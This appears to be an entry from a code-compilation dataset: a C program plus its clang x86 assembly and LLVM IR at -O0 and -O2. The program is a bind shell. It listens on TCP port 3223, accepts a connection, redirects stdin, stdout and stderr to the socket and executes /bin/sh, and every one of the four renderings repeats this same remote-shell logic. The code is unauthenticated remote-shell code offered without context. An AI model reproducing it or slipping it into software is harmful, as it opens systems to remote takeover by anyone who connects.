#define NULL ((void *)0)
typedef unsigned long size_t; // Customize by platform.
typedef long intptr_t;
typedef unsigned long uintptr_t;
typedef long scalar_t__; // Either arithmetic or pointer type.
/* By default, we understand bool (as a convenience). */
typedef int bool;
#define false 0
#define true 1

/* Forward declarations */

/* Type definitions */
struct sockaddr_in {
  int /*<<< orphan*/ sin_family;
  int /*<<< orphan*/ sin_port;
};
typedef int /*<<< orphan*/ opt;
typedef int /*<<< orphan*/ in1;
typedef int /*<<< orphan*/ in;

/* Variables and functions */
int /*<<< orphan*/ AF_INET;
int /*<<< orphan*/ IPPROTO_TCP;
int /*<<< orphan*/ SOCK_STREAM;
int /*<<< orphan*/ SOL_SOCKET;
int /*<<< orphan*/ SO_REUSEADDR;
int /*<<< orphan*/ htons(int);
int /*<<< orphan*/ memset(struct sockaddr_in *, int /*<<< orphan*/, int);
int /*<<< orphan*/ printf(char *, int);
int /*<<< orphan*/ rpc_init(char *, int);
int setsockopt(int, int /*<<< orphan*/, int /*<<< orphan*/, int *, int);
int sys_accept(int, struct sockaddr_in *, int *);
int sys_bind(int, struct sockaddr_in *, int);
int sys_dup2(int, int);
int /*<<< orphan*/ sys_execve(char *, char **, int /*<<< orphan*/);
int sys_listen(int, int);
int sys_socket(int /*<<< orphan*/, int /*<<< orphan*/, int /*<<< orphan*/);
int main(int argc, char **argv) {
  int fd, l, con, opt = 1;
  struct sockaddr_in in, in1;
  char *arg[] = {"/bin/sh", 0};
  l = sizeof(in1);
  memset(&in, 0, sizeof(in));
  in.sin_port = htons(3223);
  in.sin_family = AF_INET;
  rpc_init("127.0.0.1", 8181);
  fd = sys_socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
  printf("socket: %i\n", fd);
  printf("setsockopt: %i\n",
         setsockopt(fd, SOL_SOCKET, SO_REUSEADDR, &opt, sizeof(opt)));
  printf("bind: %i\n", sys_bind(fd, &in, sizeof(in)));
  printf("listen: %i\n", sys_listen(fd, 5));
  con = sys_accept(fd, &in1, &l);
  printf("accept: %i\n", con);
  printf("dup2: %i\n", sys_dup2(con, 0));
  printf("dup2: %i\n", sys_dup2(con, 1));
  printf("dup2: %i\n", sys_dup2(con, 2));
  sys_execve(arg[0], arg, 0);
  return 0;
}


x86 assembly (clang, -O0):
<main>:
push   %rbp
mov    %rsp,%rbp
sub    $0x40,%rsp
movl   $0x0,-0x4(%rbp)
mov    %edi,-0x8(%rbp)
mov    %rsi,-0x10(%rbp)
movl   $0x1,-0x20(%rbp)
mov    0x2c0c(%rip),%rax
mov    %rax,-0x40(%rbp)
mov    0x2c09(%rip),%rax
mov    %rax,-0x38(%rbp)
movl   $0x8,-0x18(%rbp)
lea    -0x28(%rbp),%rdi
xor    %esi,%esi
mov    $0x8,%edx
call   10b0 <memset@plt>
mov    $0xc97,%edi
call   1080 <htons@plt>
mov    %eax,-0x24(%rbp)
mov    0x2dca(%rip),%rax
mov    (%rax),%eax
mov    %eax,-0x28(%rbp)
lea    0xdee(%rip),%rdi
mov    $0x1ff5,%esi
call   1030 <rpc_init@plt>
mov    0x2dad(%rip),%rax
mov    (%rax),%edi
mov    0x2d8c(%rip),%rax
mov    (%rax),%esi
mov    0x2d93(%rip),%rax
mov    (%rax),%edx
call   10a0 <sys_socket@plt>
mov    %eax,-0x14(%rbp)
mov    -0x14(%rbp),%esi
lea    0xdc1(%rip),%rdi
call   1090 <printf@plt>
mov    -0x14(%rbp),%edi
mov    0x2d80(%rip),%rax
mov    (%rax),%esi
mov    0x2d4f(%rip),%rax
mov    (%rax),%edx
lea    -0x20(%rbp),%rcx
mov    $0x4,%r8d
call   1050 <setsockopt@plt>
mov    %eax,%esi
lea    0xd9b(%rip),%rdi
call   1090 <printf@plt>
mov    -0x14(%rbp),%edi
lea    -0x28(%rbp),%rsi
mov    $0x8,%edx
call   1040 <sys_bind@plt>
mov    %eax,%esi
lea    0xd8c(%rip),%rdi
call   1090 <printf@plt>
mov    -0x14(%rbp),%edi
mov    $0x5,%esi
call   10d0 <sys_listen@plt>
mov    %eax,%esi
lea    0xd7b(%rip),%rdi
call   1090 <printf@plt>
mov    -0x14(%rbp),%edi
lea    -0x30(%rbp),%rsi
lea    -0x18(%rbp),%rdx
call   10c0 <sys_accept@plt>
mov    %eax,-0x1c(%rbp)
mov    -0x1c(%rbp),%esi
lea    0xd65(%rip),%rdi
call   1090 <printf@plt>
mov    -0x1c(%rbp),%edi
xor    %esi,%esi
call   1060 <sys_dup2@plt>
mov    %eax,%esi
lea    0xd59(%rip),%rdi
call   1090 <printf@plt>
mov    -0x1c(%rbp),%edi
mov    $0x1,%esi
call   1060 <sys_dup2@plt>
mov    %eax,%esi
lea    0xd3e(%rip),%rdi
call   1090 <printf@plt>
mov    -0x1c(%rbp),%edi
mov    $0x2,%esi
call   1060 <sys_dup2@plt>
mov    %eax,%esi
lea    0xd23(%rip),%rdi
call   1090 <printf@plt>
mov    -0x40(%rbp),%rdi
lea    -0x40(%rbp),%rsi
xor    %edx,%edx
call   1070 <sys_execve@plt>
xor    %eax,%eax
add    $0x40,%rsp
pop    %rbp
ret

x86 assembly (clang, -O2):
<main>:
push   %rbp
push   %rbx
sub    $0x28,%rsp
movl   $0x1,(%rsp)
movaps 0x2c1c(%rip),%xmm0
movaps %xmm0,0x10(%rsp)
movl   $0x8,0x4(%rsp)
lea    0x8(%rsp),%rbx
mov    %rbx,%rdi
xor    %esi,%esi
mov    $0x8,%edx
call   10b0 <memset@plt>
mov    $0xc97,%edi
call   1080 <htons@plt>
mov    %eax,0xc(%rsp)
mov    0x2dde(%rip),%rbp
mov    0x0(%rbp),%eax
mov    %eax,0x8(%rsp)
lea    0xe00(%rip),%rdi
mov    $0x1ff5,%esi
call   1030 <rpc_init@plt>
mov    0x0(%rbp),%edi
mov    0x2da4(%rip),%rax
mov    (%rax),%esi
mov    0x2dab(%rip),%rax
mov    (%rax),%edx
call   10a0 <sys_socket@plt>
mov    %eax,%ebp
lea    0xddd(%rip),%rdi
mov    %eax,%esi
call   1090 <printf@plt>
mov    0x2d9d(%rip),%rax
mov    (%rax),%esi
mov    0x2d6c(%rip),%rax
mov    (%rax),%edx
mov    %rsp,%rcx
mov    %ebp,%edi
mov    $0x4,%r8d
call   1050 <setsockopt@plt>
lea    0xdb9(%rip),%rdi
mov    %eax,%esi
call   1090 <printf@plt>
mov    %ebp,%edi
mov    %rbx,%rsi
mov    $0x8,%edx
call   1040 <sys_bind@plt>
lea    0xdac(%rip),%rdi
mov    %eax,%esi
call   1090 <printf@plt>
mov    %ebp,%edi
mov    $0x5,%esi
call   10d0 <sys_listen@plt>
lea    0xd9c(%rip),%rdi
mov    %eax,%esi
call   1090 <printf@plt>
lea    0x20(%rsp),%rsi
lea    0x4(%rsp),%rdx
mov    %ebp,%edi
call   10c0 <sys_accept@plt>
mov    %eax,%ebx
lea    0xd87(%rip),%rdi
mov    %eax,%esi
call   1090 <printf@plt>
mov    %ebx,%edi
xor    %esi,%esi
call   1060 <sys_dup2@plt>
lea    0xd7c(%rip),%rbp
mov    %rbp,%rdi
mov    %eax,%esi
call   1090 <printf@plt>
mov    %ebx,%edi
mov    $0x1,%esi
call   1060 <sys_dup2@plt>
mov    %rbp,%rdi
mov    %eax,%esi
call   1090 <printf@plt>
mov    %ebx,%edi
mov    $0x2,%esi
call   1060 <sys_dup2@plt>
mov    %rbp,%rdi
mov    %eax,%esi
call   1090 <printf@plt>
lea    0xcef(%rip),%rdi
lea    0x10(%rsp),%rsi
xor    %edx,%edx
call   1070 <sys_execve@plt>
xor    %eax,%eax
add    $0x28,%rsp
pop    %rbx
pop    %rbp
ret

LLVM IR (-O0):
%struct.sockaddr_in = type { i32, i32 }
@.str = [8 x i8] c"/bin/sh\00"
@__const.main.arg = [2 x i8*] [i8* getelementptr inbounds ([8 x i8], [8 x i8]* @.str, i32 0, i32 0), i8* null]
@AF_INET = global i32 0
@.str.1 = [10 x i8] c"127.0.0.1\00"
@SOCK_STREAM = global i32 0
@IPPROTO_TCP = global i32 0
@.str.2 = [12 x i8] c"socket: %i\0A\00"
@.str.3 = [16 x i8] c"setsockopt: %i\0A\00"
@SOL_SOCKET = global i32 0
@SO_REUSEADDR = global i32 0
@.str.4 = [10 x i8] c"bind: %i\0A\00"
@.str.5 = [12 x i8] c"listen: %i\0A\00"
@.str.6 = [12 x i8] c"accept: %i\0A\00"
@.str.7 = [10 x i8] c"dup2: %i\0A\00"
define i32 @main(i32 %0, i8** %1) {
%3 = alloca i32
%4 = alloca i32
%5 = alloca i8**
%6 = alloca i32
%7 = alloca i32
%8 = alloca i32
%9 = alloca i32
%10 = alloca %struct.sockaddr_in
%11 = alloca %struct.sockaddr_in
%12 = alloca [2 x i8*]
store i32 0, i32* %3
store i32 %0, i32* %4
store i8** %1, i8*** %5
store i32 1, i32* %9
%13 = bitcast [2 x i8*]* %12 to i8*
store i32 8, i32* %7
%14 = call i32 @memset(%struct.sockaddr_in* %10, i32 0, i32 8)
%15 = call i32 @htons(i32 3223)
%16 = getelementptr inbounds %struct.sockaddr_in, %struct.sockaddr_in* %10, i32 0, i32 1
store i32 %15, i32* %16
%17 = load i32, i32* @AF_INET
%18 = getelementptr inbounds %struct.sockaddr_in, %struct.sockaddr_in* %10, i32 0, i32 0
store i32 %17, i32* %18
%19 = call i32 @rpc_init(i8* getelementptr inbounds ([10 x i8], [10 x i8]* @.str.1, i64 0, i64 0), i32 8181)
%20 = load i32, i32* @AF_INET
%21 = load i32, i32* @SOCK_STREAM
%22 = load i32, i32* @IPPROTO_TCP
%23 = call i32 @sys_socket(i32 %20, i32 %21, i32 %22)
store i32 %23, i32* %6
%24 = load i32, i32* %6
%25 = call i32 @printf(i8* getelementptr inbounds ([12 x i8], [12 x i8]* @.str.2, i64 0, i64 0), i32 %24)
%26 = load i32, i32* %6
%27 = load i32, i32* @SOL_SOCKET
%28 = load i32, i32* @SO_REUSEADDR
%29 = call i32 @setsockopt(i32 %26, i32 %27, i32 %28, i32* %9, i32 4)
%30 = call i32 @printf(i8* getelementptr inbounds ([16 x i8], [16 x i8]* @.str.3, i64 0, i64 0), i32 %29)
%31 = load i32, i32* %6
%32 = call i32 @sys_bind(i32 %31, %struct.sockaddr_in* %10, i32 8)
%33 = call i32 @printf(i8* getelementptr inbounds ([10 x i8], [10 x i8]* @.str.4, i64 0, i64 0), i32 %32)
%34 = load i32, i32* %6
%35 = call i32 @sys_listen(i32 %34, i32 5)
%36 = call i32 @printf(i8* getelementptr inbounds ([12 x i8], [12 x i8]* @.str.5, i64 0, i64 0), i32 %35)
%37 = load i32, i32* %6
%38 = call i32 @sys_accept(i32 %37, %struct.sockaddr_in* %11, i32* %7)
store i32 %38, i32* %8
%39 = load i32, i32* %8
%40 = call i32 @printf(i8* getelementptr inbounds ([12 x i8], [12 x i8]* @.str.6, i64 0, i64 0), i32 %39)
%41 = load i32, i32* %8
%42 = call i32 @sys_dup2(i32 %41, i32 0)
%43 = call i32 @printf(i8* getelementptr inbounds ([10 x i8], [10 x i8]* @.str.7, i64 0, i64 0), i32 %42)
%44 = load i32, i32* %8
%45 = call i32 @sys_dup2(i32 %44, i32 1)
%46 = call i32 @printf(i8* getelementptr inbounds ([10 x i8], [10 x i8]* @.str.7, i64 0, i64 0), i32 %45)
%47 = load i32, i32* %8
%48 = call i32 @sys_dup2(i32 %47, i32 2)
%49 = call i32 @printf(i8* getelementptr inbounds ([10 x i8], [10 x i8]* @.str.7, i64 0, i64 0), i32 %48)
%50 = getelementptr inbounds [2 x i8*], [2 x i8*]* %12, i64 0, i64 0
%51 = load i8*, i8** %50
%52 = getelementptr inbounds [2 x i8*], [2 x i8*]* %12, i64 0, i64 0
%53 = call i32 @sys_execve(i8* %51, i8** %52, i32 0)
ret i32 0
}

LLVM IR (-O2):
%struct.sockaddr_in = type { i32, i32 }
@.str = [8 x i8] c"/bin/sh\00"
@__const.main.arg = [2 x i8*] [i8* getelementptr inbounds ([8 x i8], [8 x i8]* @.str, i32 0, i32 0), i8* null]
@AF_INET = global i32 0
@.str.1 = [10 x i8] c"127.0.0.1\00"
@SOCK_STREAM = global i32 0
@IPPROTO_TCP = global i32 0
@.str.2 = [12 x i8] c"socket: %i\0A\00"
@.str.3 = [16 x i8] c"setsockopt: %i\0A\00"
@SOL_SOCKET = global i32 0
@SO_REUSEADDR = global i32 0
@.str.4 = [10 x i8] c"bind: %i\0A\00"
@.str.5 = [12 x i8] c"listen: %i\0A\00"
@.str.6 = [12 x i8] c"accept: %i\0A\00"
@.str.7 = [10 x i8] c"dup2: %i\0A\00"
define i32 @main(i32 %0, i8** nocapture readnone %1) {
%3 = alloca i32
%4 = alloca i32
%5 = alloca %struct.sockaddr_in
%6 = alloca %struct.sockaddr_in
%7 = alloca [2 x i8*]
%8 = bitcast i32* %3 to i8*
%9 = bitcast i32* %4 to i8*
store i32 1, i32* %4
%10 = bitcast %struct.sockaddr_in* %5 to i8*
%11 = bitcast %struct.sockaddr_in* %6 to i8*
%12 = bitcast [2 x i8*]* %7 to i8*
store i32 8, i32* %3
%13 = call i32 @memset(%struct.sockaddr_in* %5, i32 0, i32 8)
%14 = call i32 @htons(i32 3223)
%15 = getelementptr inbounds %struct.sockaddr_in, %struct.sockaddr_in* %5, i64 0, i32 1
store i32 %14, i32* %15
%16 = load i32, i32* @AF_INET
%17 = getelementptr inbounds %struct.sockaddr_in, %struct.sockaddr_in* %5, i64 0, i32 0
store i32 %16, i32* %17
%18 = call i32 @rpc_init(i8* getelementptr inbounds ([10 x i8], [10 x i8]* @.str.1, i64 0, i64 0), i32 8181)
%19 = load i32, i32* @AF_INET
%20 = load i32, i32* @SOCK_STREAM
%21 = load i32, i32* @IPPROTO_TCP
%22 = call i32 @sys_socket(i32 %19, i32 %20, i32 %21)
%23 = call i32 @printf(i8* getelementptr inbounds ([12 x i8], [12 x i8]* @.str.2, i64 0, i64 0), i32 %22)
%24 = load i32, i32* @SOL_SOCKET
%25 = load i32, i32* @SO_REUSEADDR
%26 = call i32 @setsockopt(i32 %22, i32 %24, i32 %25, i32* %4, i32 4)
%27 = call i32 @printf(i8* getelementptr inbounds ([16 x i8], [16 x i8]* @.str.3, i64 0, i64 0), i32 %26)
%28 = call i32 @sys_bind(i32 %22, %struct.sockaddr_in* %5, i32 8)
%29 = call i32 @printf(i8* getelementptr inbounds ([10 x i8], [10 x i8]* @.str.4, i64 0, i64 0), i32 %28)
%30 = call i32 @sys_listen(i32 %22, i32 5)
%31 = call i32 @printf(i8* getelementptr inbounds ([12 x i8], [12 x i8]* @.str.5, i64 0, i64 0), i32 %30)
%32 = call i32 @sys_accept(i32 %22, %struct.sockaddr_in* %6, i32* %3)
%33 = call i32 @printf(i8* getelementptr inbounds ([12 x i8], [12 x i8]* @.str.6, i64 0, i64 0), i32 %32)
%34 = call i32 @sys_dup2(i32 %32, i32 0)
%35 = call i32 @printf(i8* getelementptr inbounds ([10 x i8], [10 x i8]* @.str.7, i64 0, i64 0), i32 %34)
%36 = call i32 @sys_dup2(i32 %32, i32 1)
%37 = call i32 @printf(i8* getelementptr inbounds ([10 x i8], [10 x i8]* @.str.7, i64 0, i64 0), i32 %36)
%38 = call i32 @sys_dup2(i32 %32, i32 2)
%39 = call i32 @printf(i8* getelementptr inbounds ([10 x i8], [10 x i8]* @.str.7, i64 0, i64 0), i32 %38)
%40 = getelementptr inbounds [2 x i8*], [2 x i8*]* %7, i64 0, i64 0
%41 = call i32 @sys_execve(i8* getelementptr inbounds ([8 x i8], [8 x i8]* @.str, i64 0, i64 0), i8** %40, i32 0)
ret i32 0
}